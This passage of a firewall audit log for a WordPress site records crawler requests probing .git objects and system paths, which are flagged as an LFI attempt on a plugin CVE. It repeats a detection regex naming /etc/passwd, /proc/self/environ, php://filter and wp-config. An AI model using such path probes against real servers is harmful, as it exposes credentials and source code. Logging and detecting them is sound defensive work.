private","X-Orig-Rid":"b61b2329665db57ce8a466d7987c1ba7","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":276,"p2":4989,"p3":0,"p4":0,"p5":8747,"sr":180,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:56:20.646414 +0100","transaction_id":"abOK41ICN_OZQ9wXfc3KvgAAAEQ","remote_address":"57.141.20.18","remote_port":53378,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/59/126b71422f95898513506a1e32be2166af7050 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.18","X-Forwarded-Proto":"https","X-Request-Id":"002ee81f3aa92e3c2a280940e1088f28","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3966425"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Upgrade":"h2,h2c","Connection":"Upgrade","Vary":"Accept-Encoding","X-Orig-Rid":"002ee81f3aa92e3c2a280940e1088f28","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/59/126b71422f95898513506a1e32be2166af7050||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":305,"p2":6469,"p3":0,"p4":0,"p5":358,"sr":165,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:01:23.273028 +0100","transaction_id":"abOMEbmW8D9YFg8ovrf_0wAAAMA","remote_address":"114.119.140.84","remote_port":52110,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/110158751 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.140.84","X-Forwarded-Proto":"http","X-Request-Id":"c35d3084fff779c68f9be9182874853b","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"754632","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","Upgrade":"h2,h2c","Connection":"Upgrade, close","X-Orig-Rid":"c35d3084fff779c68f9be9182874853b","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":308,"p2":26665,"p3":0,"p4":0,"p5":322,"sr":152,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:03:29.830459 +0100","transaction_id":"abOMkFV-TtdTFIIkipVCowAAAJQ","remote_address":"57.141.20.43","remote_port":44812,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/locale/pt_BR/LC_MESSAGES/man-db.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.43","X-Forwarded-Proto":"https","X-Request-Id":"6fcbf79b238553ab5ee9892088f3468a","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7275319"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"6fcbf79b238553ab5ee9892088f3468a","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/pt_BR/LC_MESSAGES/man-db.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":363,"p2":11517,"p3":0,"p4":0,"p5":540,"sr":172,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:03:56.205844 +0100","transaction_id":"abOMq1V-TtdTFIIkipVC1wAAAIs","remote_address":"114.119.142.37","remote_port":41128,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/184365051 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.142.37","X-Forwarded-Proto":"http","X-Request-Id":"b5ee6092496ce476a8df77edadc626e9","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6291840","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"b5ee6092496ce476a8df77edadc626e9","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":297,"p2":4904,"p3":0,"p4":0,"p5":352,"sr":135,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:04:30.070831 +0100","transaction_id":"abOMzVV-TtdTFIIkipVDDQAAAIg","remote_address":"57.141.20.55","remote_port":50104,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/18/3c368c3da97b30a54c281653be03c05a60f4fe HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.55","X-Forwarded-Proto":"https","X-Request-Id":"00041c5919442b2a9c399a5b43a70734","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1671852"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"00041c5919442b2a9c399a5b43a70734","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/18/3c368c3da97b30a54c281653be03c05a60f4fe||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":719,"p2":5161,"p3":0,"p4":0,"p5":395,"sr":125,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:04:53.902481 +0100","transaction_id":"abOM5VV-TtdTFIIkipVDHAAAAI4","remote_address":"57.141.20.39","remote_port":39736,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/opt/php8.2/include/php/Zend/zend_max_execution_timer.h HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.39","X-Forwarded-Proto":"https","X-Request-Id":"8dbd44d03fc7ea20610d3afba1374706","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3868158"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"8dbd44d03fc7ea20610d3afba1374706","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/opt/php8.2/include/php/Zend/zend_max_execution_timer.h||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":352,"p2":6182,"p3":0,"p4":0,"p5":493,"sr":147,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:05:20.835721 +0100","transaction_id":"abOM__gQSd_XQ-U0cJxGtwAAAUw","remote_address":"57.141.20.56","remote_port":33644,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/ee/a7cd10e57f8beddb7345e292aab9f52c7e88b8 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.56","X-Forwarded-Proto":"https","X-Request-Id":"5238f7aecccee5aef6b7ce52e895acd4","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4064585"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"5238f7aecccee5aef6b7ce52e895acd4","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/ee/a7cd10e57f8beddb7345e292aab9f52c7e88b8||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":330,"p2":13645,"p3":0,"p4":0,"p5":441,"sr":165,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:05:24.975729 +0100","transaction_id":"abONBCFJ_Ynbc5Nhz1aHTAAAAQc","remote_address":"57.141.20.2","remote_port":56008,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/usr/share/locale/ja/LC_MESSAGES/sed.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.2","X-Forwarded-Proto":"https","X-Request-Id":"53efa5a938bd40c9ae17cb1318743563","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6359279"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"53efa5a938bd40c9ae17cb1318743563","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/ja/LC_MESSAGES/sed.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":369,"p2":7230,"p3":0,"p4":0,"p5":363,"sr":205,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:05:42.227516 +0100","transaction_id":"abONFSFJ_Ynbc5Nhz1aHdAAAAQw","remote_address":"57.141.20.57","remote_port":56824,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/locale/mt/LC_MESSAGES/iso_639-3.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.57","X-Forwarded-Proto":"https","X-Request-Id":"f5a677e8b6a2261b78dcb7fb8a8066d4","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3245094"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"f5a677e8b6a2261b78dcb7fb8a8066d4","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/mt/LC_MESSAGES/iso_639-3.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":270,"p2":8490,"p3":0,"p4":0,"p5":414,"sr":132,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:05:45.294775 +0100","transaction_id":"abONGPgQSd_XQ-U0cJxG3gAAAUs","remote_address":"57.141.20.44","remote_port":57790,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/usr/share/terminfo/p/pcvt25 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.44","X-Forwarded-Proto":"https","X-Request-Id":"f593a2573a26c20f1507137730966606","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2327195"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"f593a2573a26c20f1507137730966606","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/p/pcvt25||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":348,"p2":11724,"p3":0,"p4":0,"p5":399,"sr":4199,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:05:54.173597 +0100","transaction_id":"abONIVV-TtdTFIIkipVDgAAAAIs","remote_address":"57.141.20.42","remote_port":55274,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/var/lib/lws/opcache.php74 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.42","X-Forwarded-Proto":"https","X-Request-Id":"064a067e5cbd9f2163b6dfc1c81bcfe9","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"950747"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"064a067e5cbd9f2163b6dfc1c81bcfe9","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/var/lib/lws/opcache.php74||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":427,"p2":6459,"p3":0,"p4":0,"p5":426,"sr":153,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:06:03.621932 +0100","transaction_id":"abONKbmW8D9YFg8ovrcBsQAAAMs","remote_address":"57.141.20.47","remote_port":39424,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?view=/htdocs/jmknew.jmkconsulting-ci.com/fromgit/JMKFilamentDB/.git/objects/ee/32269bc191e9bf09c89e2a7d3fab26dd5adea1 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.47","X-Forwarded-Proto":"https","X-Request-Id":"5572ac7874d463ed938f08450e0f770c","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7438607"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"5572ac7874d463ed938f08450e0f770c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/harvest/?view=/htdocs/jmknew.jmkconsulting-ci.com/fromgit/jmkfilamentdb/.git/objects/ee/32269bc191e9bf09c89e2a7d3fab26dd5adea1||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":309,"p2":8896,"p3":0,"p4":0,"p5":326,"sr":147,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
